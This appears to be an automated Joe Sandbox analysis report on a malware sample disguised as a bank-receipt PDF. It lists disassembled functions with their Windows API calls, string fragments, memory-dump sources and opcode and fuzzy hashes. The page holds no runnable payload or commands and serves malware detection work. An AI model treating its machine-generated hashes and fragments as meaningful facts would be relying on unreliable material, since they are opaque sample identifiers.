Function 02CCE5D8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02CCEA0E,?,?,?,?,?), ref: 02CCEACF

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6413589c6d67593f9b3330833292b4c29a96a9f665bb65a5016ce4748d192d13
Instruction ID: 5094f7dd19d6648cbbe9a60138fccc953f32c48a95f99af53f1fb84389df70b8
Opcode Fuzzy Hash: 6413589c6d67593f9b3330833292b4c29a96a9f665bb65a5016ce4748d192d13
Instruction Fuzzy Hash: 8C21E3B59002489FDB10CFAAD584AEEFFF8FB48310F14845AE918A3310D378A950CFA0

Function 060C8104 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,060C8FA2,?,?,?,?,?), ref: 060C9047

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: ab4f877d83e6381bc620c74ffe665300f7ffe7a47ccb239d2f32bfafa22b2f04
Instruction ID: 8ec5e86404ec0e20798183efcbe58fff433e478a8fc2ca453f56180a3eebefc3
Opcode Fuzzy Hash: ab4f877d83e6381bc620c74ffe665300f7ffe7a47ccb239d2f32bfafa22b2f04
Instruction Fuzzy Hash: 6F113AB5800249DFDB10DF9AD844BEEBFF8EF48320F14841AE615A7250C379A950CFA4

Function 02CCB072 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 02CCB0E5

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 409b982d7a7485218065eeb666cca0350008ed95f348668aa86ca04ec5dd8ac1
Instruction ID: 1eaaa1cfa409057fd67495eef1866aeb364f33ee99041e5f2e83dd052be0e567
Opcode Fuzzy Hash: 409b982d7a7485218065eeb666cca0350008ed95f348668aa86ca04ec5dd8ac1
Instruction Fuzzy Hash: FB11BEB6800289CEDB10CFA9D5053EEBFF4EB05319F148499D599B7281C3395A44CBA1

Function 02CCB080 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 02CCB0E5

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: feab5e48497a3e4f902cb91c9e6939b601df276d38bb6fa9dc2864f71b8bcc08
Instruction ID: 524562b1a34889f6e467cc09b6941ab127a27522cf445e58e05b2ab25c2792ef
Opcode Fuzzy Hash: feab5e48497a3e4f902cb91c9e6939b601df276d38bb6fa9dc2864f71b8bcc08
Instruction Fuzzy Hash: FE119DB5901388CEDB10CF99D5053EEBFF4EB05318F548499D599A7282C3395A44CBA2

Function 02CCC760 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02CCC7C6

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: df9efb1d2d77d473affa9d4ede702bd0b1329f250459ac8ef8b7198590728769
Instruction ID: fca409eb4f8ae21cf133f3c37fd4aaed8353759e3b7e3e6513c575fda799d39b
Opcode Fuzzy Hash: df9efb1d2d77d473affa9d4ede702bd0b1329f250459ac8ef8b7198590728769
Instruction Fuzzy Hash: CB11E0B6C002498FCB10DF9AD444ADEFBF8EF89314F24846AD519B7610D379A645CFA1

Function 0827B222 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

r, xrefs: 0827B414

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: r
API String ID: 0-1812594589
Opcode ID: 440c034dcfd7f474730c49240ad9ad61a21af7f547f5b379013ec048098da938
Instruction ID: 1123031a20fabe05ee9bf3278014880f75c60903fc0afba14b66473745276019
Opcode Fuzzy Hash: 440c034dcfd7f474730c49240ad9ad61a21af7f547f5b379013ec048098da938
Instruction Fuzzy Hash: 9661F634D25209DFCB04DF9AE4988ADFB79FF4A322B519159E41AA7202C730E9C1CB94

Function 082797C0 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0827989B

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 3e8c59e0583b063878200609bdc1564f25e36499793bdd38049a805f265e061e
Instruction ID: 0e30d2fbdceb4e9fc6dc78f676a0484ef2390662d325ee74cafe0dc4dd5960c9
Opcode Fuzzy Hash: 3e8c59e0583b063878200609bdc1564f25e36499793bdd38049a805f265e061e
Instruction Fuzzy Hash: 0C311570D193498BEB09DFAAD8856DDBFF2BF89301F14C02AC409AB259D7780986CB50

Function 08279808 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0827989B

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: c39353cb130768fd1f5278aea1e715177c96869fe57f99a2db2ea56acd3dcb3e
Instruction ID: 988fae6e6e9afddd2aa9c102425d2c462b13384a7503d0bc0f96171d6904a6bb
Opcode Fuzzy Hash: c39353cb130768fd1f5278aea1e715177c96869fe57f99a2db2ea56acd3dcb3e
Instruction Fuzzy Hash: FC31F3B0D153488BEB08DFAAC9446EEBFF6AF89301F14C12AC419AB354DB744886CB50

Function 082798BC Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

Te]q, xrefs: 08279955

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 93fb74602587782bd3b7bedf90fc3ef106d34f829b22e6e1ab5fae46c9221593
Instruction ID: 46cc6ac1ed8e3a1f2db26e7d774047fd0542a17da39332953b3f7c232cf366f3
Opcode Fuzzy Hash: 93fb74602587782bd3b7bedf90fc3ef106d34f829b22e6e1ab5fae46c9221593
Instruction Fuzzy Hash: 9D31B074E15209CFDB08CFEAC4849EDBBB6BF8D311F20906AD909AB325D7355945CB50

Function 08279818 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0827989B

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: d3d5291dcac0440cb82b0cf7de1b7e76feac5101e2140424550b6010f9225eab
Instruction ID: e046fff2a755aa35485cf050c5d8ad1c1c9172618017a846a21c56704f9fcd61
Opcode Fuzzy Hash: d3d5291dcac0440cb82b0cf7de1b7e76feac5101e2140424550b6010f9225eab
Instruction Fuzzy Hash: C531E9B0D103188BDB08DFAAC9446DEFBF6BF89301F14C129D419AB354DB745886CB50

Function 08271AA1 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

?H,a, xrefs: 08271AE7

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ?H,a
API String ID: 0-4093759987
Opcode ID: 5df08842cc62566d4cf1fc4c481ac7c06c767289cb58c66be91fbcc2af4d2993
Instruction ID: 6a481f356e3b24a9f03595713ee9c3320da415cab1a74a6d34a179147478dbb0
Opcode Fuzzy Hash: 5df08842cc62566d4cf1fc4c481ac7c06c767289cb58c66be91fbcc2af4d2993
Instruction Fuzzy Hash: 72214874E11209EFDB08DFA9C585A9EFBF6FF88301F14C1AAD51897214E7309A21CB40

Function 08274970 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

G'/., xrefs: 08274946

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: G'/.
API String ID: 0-3562003039
Opcode ID: 4cb727cf12b92eb95466d2e90b4f5616b95310963f9f816b17561a7e328ae569
Instruction ID: 358c05a306f784432ca02bd5952b30305f90159d7c8f3c6b54a0483cffea49eb
Opcode Fuzzy Hash: 4cb727cf12b92eb95466d2e90b4f5616b95310963f9f816b17561a7e328ae569
Instruction Fuzzy Hash: FD110630A2A38ACFCB1ADB65D940699BFB2DB83211F1482EAC455EB1A2D3344F51C759

Function 082768EF Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

u|P, xrefs: 08276937

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: u|P
API String ID: 0-1764873574
Opcode ID: 6f7eb6df339b03f6ad3ca9c51afcf2098ced0a608c6eb5f2311d918a59524985
Instruction ID: 5d5a1f7158312f4f3d6ca0dc0786c3bf1c9ef82d98b7e7f7ef81a4af5d144622
Opcode Fuzzy Hash: 6f7eb6df339b03f6ad3ca9c51afcf2098ced0a608c6eb5f2311d918a59524985
Instruction Fuzzy Hash: A6114CB4E16209DFCB48CFA6C9416AEBFF2EF88300F2481AAD905E7354D6344B55CB55

Function 060CB220 Relevance: 1.3, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,060CBC69,?,?), ref: 060CBE10

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b82f0e7a7fa456a385f6b8b7be0c1ba8b27b3e7a8daaa8f1c59b4c3e8d876b28
Instruction ID: 53eb338f0977c0230bdd2148d999bc3b7b596f6e4202d2cef39fc89c87708b9c
Opcode Fuzzy Hash: b82f0e7a7fa456a385f6b8b7be0c1ba8b27b3e7a8daaa8f1c59b4c3e8d876b28
Instruction Fuzzy Hash: 3A1137B18043888FDB10DFA9D445BEEBFF4EF48320F14845AD598A7241D338A544CBA5

Function 08276900 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

u|P, xrefs: 08276937

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: u|P
API String ID: 0-1764873574
Opcode ID: 4f08b64a3d3addad26e04bfeff88626c5cfb269bf41156522d38a6d4ffdfc492
Instruction ID: 3557ea4e22ede8f9af72297190952917d8da7d0d3cc8d14de1252831897e9c09
Opcode Fuzzy Hash: 4f08b64a3d3addad26e04bfeff88626c5cfb269bf41156522d38a6d4ffdfc492
Instruction Fuzzy Hash: A6114CB4E16609DFCB48CFAAC9416AEFBF6EB88301F24C06AC509E3304D6349B51CB45

Function 0827CF38 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

]"4, xrefs: 0827D713

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ]"4
API String ID: 0-3376221696
Opcode ID: dc185b9434a06ac716bd6f27189c35a665fcda126ffcd138fd53f6a58ce80063
Instruction ID: 96fb8681fa350048daca339f11a414c3d50ea97c829d4f1158a9d0a41c8e2d61
Opcode Fuzzy Hash: dc185b9434a06ac716bd6f27189c35a665fcda126ffcd138fd53f6a58ce80063
Instruction Fuzzy Hash: 7E01F9318193948FC706AB39D9546DE7FB4AF82301F1581A7C0409B1A7D7B4469DCBA2

Function 060CB22C Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,060CBC69,?,?), ref: 060CBE10

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ed087ca0237bec22367318f23c92ddc860699ed92726b1c20f20091e4de83896
Instruction ID: 0035fa4985aa0011a5c72e8d13cf3f821fdafd3f9543e5a0eb7d60ac8a2a9723
Opcode Fuzzy Hash: ed087ca0237bec22367318f23c92ddc860699ed92726b1c20f20091e4de83896
Instruction Fuzzy Hash: D01116B18003498FCB50DF9AD445BEEBBF4EF48320F148459D559A7241D378A944CFA5

Function 060CBDB0 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,060CBC69,?,?), ref: 060CBE10

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d29b90f7d48247d07af1d34a681b2251b6912f5b9c21a7f2094256a9cb1e6192
Instruction ID: 41a28b0c1933f5d3f316808471edae3ae67619f018a96ca2d26271fc7ce63eba
Opcode Fuzzy Hash: d29b90f7d48247d07af1d34a681b2251b6912f5b9c21a7f2094256a9cb1e6192
Instruction Fuzzy Hash: DA1143B18002488FCB20CFAAC485BEEBFF4EF48320F24855AD559A7241D378A544CFA1

Function 082748C0 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

G'/., xrefs: 08274946

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: G'/.
API String ID: 0-3562003039
Opcode ID: 560e7a7e8642d7b0fc6f7299fbd4045fcd1799849fbb4ec7f25ec7aa6a0554aa
Instruction ID: 83f5ce9ff18dfd9eac41f2b166784e94ac01c09261d54acdfb2f7ccc49ee28ff
Opcode Fuzzy Hash: 560e7a7e8642d7b0fc6f7299fbd4045fcd1799849fbb4ec7f25ec7aa6a0554aa
Instruction Fuzzy Hash: 7E01F570E21309DFD708DFAAD94474EFFB2EB85301F20D469C805A3254E7308B51D648

Function 082748D0 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

G'/., xrefs: 08274946

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: G'/.
API String ID: 0-3562003039
Opcode ID: ce4a9e95a5933c268d2bec2fdb3df488ad23ff10c055d6a304dfda038f1b1002
Instruction ID: ab20a95bdf82aed36c4dccf932f09282795a847dcdee4684cff5913acd1ee862
Opcode Fuzzy Hash: ce4a9e95a5933c268d2bec2fdb3df488ad23ff10c055d6a304dfda038f1b1002
Instruction Fuzzy Hash: 2501D470E26208DFD708EFA6D94459DFEB6EB85301F20D579C419A3254E6709B50C608

Function 0827CF70 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

]"4, xrefs: 0827D713

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ]"4
API String ID: 0-3376221696
Opcode ID: 25cf9c047f8e99c6c91683f0ade13b81b9ab08f5110538e8b3b77b4258254652
Instruction ID: 8c8369fbe4d68253e0c5399678d2b594eb7af5cdef075bda8fbc853cb4d73df6
Opcode Fuzzy Hash: 25cf9c047f8e99c6c91683f0ade13b81b9ab08f5110538e8b3b77b4258254652
Instruction Fuzzy Hash: F1F0A7309241088FD744AB67D90879DBBB9EF85302F00C13AD00463295DFB555C9CB62

Function 08278D44 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23f391d0ee7ccb6b79faa4c9856d91f2f9fe37216c8b3005bed70aa1a310bba
Instruction ID: 114a47dd830ea2b13294cb486023830f94bd79c2233a63d0b6cc35afb5f59819
Opcode Fuzzy Hash: a23f391d0ee7ccb6b79faa4c9856d91f2f9fe37216c8b3005bed70aa1a310bba
Instruction Fuzzy Hash: F741327190E3C59FC3079B7888286997F709F03212F0A45EBD4C4DF1A3D67A494ACBA6

Function 0827904F Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195fb7ccd439d230da067a1a6185058cf820aa1bda669e698ed902fbd59d19d4
Instruction ID: b07abb7f8e31d3b6b4dfacb97c58df024c3ea710ea85af0f9d09724305ec5d5d
Opcode Fuzzy Hash: 195fb7ccd439d230da067a1a6185058cf820aa1bda669e698ed902fbd59d19d4
Instruction Fuzzy Hash: BE51F034926205CFDB24CF6AC588A9AFBB6FF49312F55D199D008AB212C734E9C4CB55

Function 08279FE0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acfcc9513f8ba53f2968e99891692a4e800531bec9a5e02b88f3d84131383045
Instruction ID: 39af0bd3c5331144d8678bf8b7eae30c886eddd729639cc8f09e47e1940bb9ba
Opcode Fuzzy Hash: acfcc9513f8ba53f2968e99891692a4e800531bec9a5e02b88f3d84131383045
Instruction Fuzzy Hash: DD411674D29229CFDB08CFAAC4446EEFBF6AB8C312F14D429D41AA3251D7745941CB64

Function 08279FD1 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d27befec54a5eeaa9b260da9c90ad19b243cd6c91b9a59730264789c7375a15
Instruction ID: 47301915abeb52f6cc5f6879577ed57d23bc3e2e5364bf2d3ed66c05ad72393f
Opcode Fuzzy Hash: 7d27befec54a5eeaa9b260da9c90ad19b243cd6c91b9a59730264789c7375a15
Instruction Fuzzy Hash: 0A413774D29218CFDB09CFAAD4446EEFBF6AF8D312F14D06AD40AA3251D7744940CB54

Function 0827AE58 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba5b30bb98178f9994e8da50b3655f255f231bf68530d577a8ea07e094d56b3
Instruction ID: 16a827abee695ac5468bf96e6d24a92dcc0d861d4e4f3077c85ace86753da525
Opcode Fuzzy Hash: cba5b30bb98178f9994e8da50b3655f255f231bf68530d577a8ea07e094d56b3
Instruction Fuzzy Hash: 74411A34924168CFDB18CF56D984AACB7B9FF49312F10D5EAD80BA7252C771A981CF50

Function 08275F58 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba9852b27601c38c96726aa7f38ed17c2e36088d99a9abc07475e322aac788a
Instruction ID: 6b1f044af1e1b24cee36b2c5fda33f91e5013f82256f908f8938637ddff78c39
Opcode Fuzzy Hash: 7ba9852b27601c38c96726aa7f38ed17c2e36088d99a9abc07475e322aac788a
Instruction Fuzzy Hash: 7D3136B6900249AFCB14DFAAD844ADEBFF5FB49310F14846AE909E7310D735A944CFA0

Function 08277158 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dbdad3578e5129e4da965be8599e60fa2286240be8b5825a45c569e2c6c6ea9
Instruction ID: 1e89a60aa0e10563a9387b252e58326ee353465b6593e63bb5102db8c9480bc8
Opcode Fuzzy Hash: 3dbdad3578e5129e4da965be8599e60fa2286240be8b5825a45c569e2c6c6ea9
Instruction Fuzzy Hash: 4F311970E2520ADFCB48CFAAD5846AEBBF2FF88311F20D5AAD415A7250D7349A41CF54

Function 08275228 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a18f3475fd916e1aba46c821eadcd9147edd256836ad49c4b25b9f0430a597
Instruction ID: 749005553366b5578fb12e6f4b7fb0c2c74a37f100fe4a36b40ff44ba659c1d0
Opcode Fuzzy Hash: 05a18f3475fd916e1aba46c821eadcd9147edd256836ad49c4b25b9f0430a597
Instruction Fuzzy Hash: FD310274E212199FCB08CFAAD5859EEFBB2FF88311F10842AE816A7354DB745941CF94

Function 08271E20 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce9f38e54bce3c3e6dd381378c91c40b35091bbb3de31d460b41d9512412024c
Instruction ID: 1e5202cec6c154de7f3e76584c7a105c1424ebd62739548f7a3c7a61c886ec93
Opcode Fuzzy Hash: ce9f38e54bce3c3e6dd381378c91c40b35091bbb3de31d460b41d9512412024c
Instruction Fuzzy Hash: F93106B0E2120ADFCB08CFAAC4815AEFBB2FF88301F54D56AD415A7244E7749A51CB94

Function 08271E30 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d7be224a1aa95d3281f93ce4272dacfcc3c96c8d4776caec206e0f57b06230d
Instruction ID: 54256470b9250e775f366856db2026afbea9737aabea15463f64110776bc1232
Opcode Fuzzy Hash: 0d7be224a1aa95d3281f93ce4272dacfcc3c96c8d4776caec206e0f57b06230d
Instruction Fuzzy Hash: 503127B0E2120ADFCB08CFAAC4805AEFBB2FF88301F14D56AD419A7254D7749A51CF95

Function 0827D174 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4714b89db4ba65a154088c6269db735d6d427a31bb924404a70946d72160dbe
Instruction ID: f49b7f49174f88eb1ca244baeda3ee961fa8e13bced026a801f97d3fb3e798f6
Opcode Fuzzy Hash: b4714b89db4ba65a154088c6269db735d6d427a31bb924404a70946d72160dbe
Instruction Fuzzy Hash: 7331E374924255CFC704EFA9E6889ADBBF5FF45312B14922CD409EB35AD734A881CF60

Function 08275218 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 616a5fd1fa6c7b41f656d5d98e042f1bc0ede9b89461a94ef7a32c56f6aecfd0
Instruction ID: 80a69fc51669fe314d0c73c01c8573eee38726a93149d9e3ebf99e3c26d658cf
Opcode Fuzzy Hash: 616a5fd1fa6c7b41f656d5d98e042f1bc0ede9b89461a94ef7a32c56f6aecfd0
Instruction Fuzzy Hash: 32312274E252099FCB08CFAAD945AEEFBB2FF88311F10842AE815A7350DB745945CF94

Function 08277155 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd
